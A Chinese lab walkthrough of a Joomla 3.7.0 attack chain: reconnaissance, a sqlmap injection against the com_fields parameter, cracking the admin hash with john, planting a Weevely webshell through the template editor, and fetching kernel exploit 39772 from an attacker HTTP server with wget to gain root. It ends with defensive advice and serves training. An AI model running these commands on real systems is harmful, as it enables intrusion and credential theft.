Joomla 3.7.0 渗透测试全流程复现:从信息收集到本地提权

文章目录

声明:本文内容仅用于 CTF 靶场学习与安全研究,所有操作均在授权的虚拟靶机环境中完成。严禁将本文技术用于未授权的真实系统。


项目背景(Situation)

客户 :某网络安全培训机构
时间 :2024 年 11 月
环境 :封闭式实战靶场,目标系统为运行 Joomla 3.7.0 的 Linux 服务器
目标:模拟真实攻击视角,完整复现从外网信息收集到获取服务器 root 权限的攻击链,并输出可供教学的分析笔记

客户希望通过该实战项目,让学员深入理解 CMS 类系统的常见攻击面,包括 SQL 注入、WebShell 写入及内核本地提权,从而建立完整的攻防知识体系。


任务拆解(Task)

整个攻击链分为以下五个阶段:

  1. 信息收集:识别目标 Web 服务与 CMS 类型
  2. 漏洞发现:利用专用扫描器与漏洞库定位已知漏洞
  3. 漏洞利用:通过 SQL 注入获取数据库中的账号凭据
  4. 权限维持:写入 WebShell,建立稳定的命令执行通道
  5. 本地提权 :结合内核漏洞将权限从 www-data 提升至 root

实施过程(Action)

阶段一:信息收集

Nmap 扫描确认目标仅开放 80 端口,随后使用 WhatWeb 对 Web 服务进行指纹识别:

bash 复制代码
whatweb http://[目标IP]

输出结果中可以看到 Apache 服务器信息及 Joomla 相关特征。确认 CMS 类型后,使用 Joomla 专用扫描器进行深度探测:

bash 复制代码
joomscan --url http://[目标IP]

知识点:主流 CMS(Joomla、WordPress、Drupal)都有对应的专用扫描工具,原理是基于对该 CMS 特有目录结构、文件路径、响应特征的规则匹配。有 Python 基础的同学可以尝试自己实现一个。

扫描结果关键信息:

  • 未发现 WAF(防火墙)
  • 发现后台路径:/administrator
  • CMS 版本:Joomla 3.7.0

阶段二:漏洞发现

版本信息是关键。使用 Kali 内置的 searchsploit 在本地漏洞库中检索:

bash 复制代码
searchsploit Joomla 3.7.0

命中一个 SQL 注入漏洞 ,编号 42033,将其拷贝到本地查阅:

bash 复制代码
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt ./42033.txt

打开文件后,漏洞文档提供了基于 sqlmap 的完整利用命令,注入点位于 Joomla 的某个组件参数中。


阶段三:SQL 注入获取凭据

Step 1 --- 枚举数据库名:

bash 复制代码
sqlmap -u "http://[目标IP]/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" \
  --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

发现目标数据库:joomladb

Step 2 --- 枚举表名:

bash 复制代码
# 将 --dbs 替换为 -D joomladb --tables

在众多数据表中,#__users 表最具价值(Joomla 用户表命名惯例,# 会替换为配置中的表前缀)。

Step 3 --- 枚举字段并导出数据:

bash 复制代码
# 依次使用 --columns 查看字段,再用 -C name,password --dump 导出

成功获取管理员账号:admin,以及对应的哈希密码。

Step 4 --- 离线破解密码:

将哈希值保存至文件,使用 john 进行字典攻击:

bash 复制代码
echo '[哈希值]' > hash.txt
john hash.txt

破解结果:密码为 snoopy

知识点 :Joomla 使用 bcrypt 加密密码,john 支持自动识别哈希类型。离线破解的优势在于不触发登录失败锁定策略。


阶段四:写入 WebShell

使用破解的凭据登录后台 http://[目标IP]/administrator。

Joomla 模板编辑器 允许管理员直接编辑 PHP 模板文件,这是一个典型的高危功能:

路径:Extensions → Templates → Templates → [选择模板] → New File

新建文件 test1.php,先验证代码执行:

php 复制代码
<?php echo 'haha'; ?>

访问 http://[目标IP]/templates/protostar/test1.php,页面输出 haha,确认代码可执行。

随后使用 Weevely 生成加密 WebShell:

bash 复制代码
weevely generate 123456 webshell.php

将生成的混淆代码粘贴到 test1.php 中保存,建立连接:

bash 复制代码
weevely http://[目标IP]/templates/protostar/test1.php 123456

知识点 :Weevely 生成的 WebShell 是变形的一句话木马,对内容做了 Base64 + 字符替换混淆,能一定程度上绕过简单的特征检测。help 命令可查看其内置的数十个后渗透模块。

在 WebShell 中执行基础信息收集:

bash 复制代码
whoami          # 输出:www-data
cat /etc/passwd # 查看系统用户,找到有 home 目录的真实用户
uname -a        # 查看内核版本
lsb_release -a  # 确认发行版:Ubuntu 16.04

阶段五:本地提权

已知系统为 Ubuntu 16.04 + Linux 内核 4.4.x,在漏洞库中搜索:

bash 复制代码
searchsploit Ubuntu 16.04

发现内核提权漏洞 39772(eBPF 本地提权),下载查阅:

bash 复制代码
cp /usr/share/exploitdb/exploits/linux/local/39772.txt ./39772.txt

文档说明需要从 GitHub 下载编译好的利用程序。攻击机开启临时 HTTP 服务:

bash 复制代码
python -m SimpleHTTPServer 8000
# Python3 用户:python3 -m http.server 8000

在 WebShell 中将文件下载到目标机器并执行提权:

bash 复制代码
# 在 weevely 的 :shell_sh 模式下
wget http://[攻击机IP]:8000/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh     # 编译
./doubleput      # 执行提权
whoami           # 输出:root ✓

至此,完整攻击链复现完毕。


结果与总结(Result)

攻击链全貌

复制代码
信息收集 (WhatWeb/Joomscan)
    ↓
漏洞识别 (Searchsploit → CVE SQL注入)
    ↓
SQL注入 (Sqlmap → 获取哈希)
    ↓
密码破解 (John → 明文密码)
    ↓
后台登录 → 模板编辑器写入 WebShell (Weevely)
    ↓
本地提权 (内核漏洞 39772 → root)

关键工具速查

工具 用途
whatweb Web 指纹识别,快速判断 CMS 类型及版本
joomscan Joomla 专用扫描,枚举敏感路径与版本
searchsploit 本地漏洞库检索,离线可用
sqlmap 自动化 SQL 注入利用
john 离线哈希破解
weevely 加密 WebShell 生成与管理

防御建议

从防守视角,以下措施可有效阻断上述攻击链:

  1. 及时升级 CMS 版本:Joomla 3.7.0 的 SQL 注入漏洞已有公开 PoC,升级是最根本的修复手段
  2. 关闭模板在线编辑功能:在 Joomla 后台全局配置中禁用,防止 WebShell 写入
  3. 最小权限原则 :Web 服务进程不应以高权限运行,限制 www-data 的文件写入范围
  4. 内核及时更新:本地提权利用的是已知内核漏洞,定期更新系统补丁可消除此类风险
  5. 部署 WAF:对 SQL 注入特征流量进行拦截与告警

客户评价

"该靶场实战记录逻辑清晰、工具使用规范,攻击链完整覆盖了 CMS 渗透的经典路径。尤其是模板编辑器写 Shell 这一环节的演示,直观展示了 CMS 高危配置的危害,是非常好的教学素材。" ------ 某网络安全培训机构,课程负责人


如有疑问或勘误,欢迎在评论区交流。后续将持续更新更多靶场实战复现内容。

相关推荐
xiancai_xianyu3 天前
Text2SQL落地生产库前,SQL要过哪三道闸
前端·数据库·sql·sql注入·text2sql·ai agent开发·企业级ai框架
文章永久免费只为良心3 天前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试
墨云安全4 天前
AI 漏洞挖掘平台怎么评估?2026 年技术架构与选型要点
网络·人工智能·网络安全·架构·渗透测试
墨云安全4 天前
自动化渗透测试工具有哪些?2026 年引擎原理、任务编排与误报抑制实践
git·测试工具·网络安全·渗透测试·自动化
墨云安全5 天前
自动化安全测试工具的技术架构、集成方式与任务编排(2026 年实践)
人工智能·网络安全·渗透测试
墨云安全5 天前
AI 渗透测试是怎么实现的?2026 年大模型驱动测试用例生成的工程拆解
网络·人工智能·网络安全·渗透测试·测试用例
墨云安全6 天前
内网资产无法暴露到公网,怎么做安全检测?2026 年内网渗透测试的落地路径
开发语言·安全·网络安全·渗透测试·php
墨云安全9 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
三84411 天前
sql注入
web安全·sql注入
白猫不黑12 天前
AI自动化漏洞挖掘从入门到进阶超详细学习路线
人工智能·学习·web安全·网络安全·信息安全·渗透测试·自动化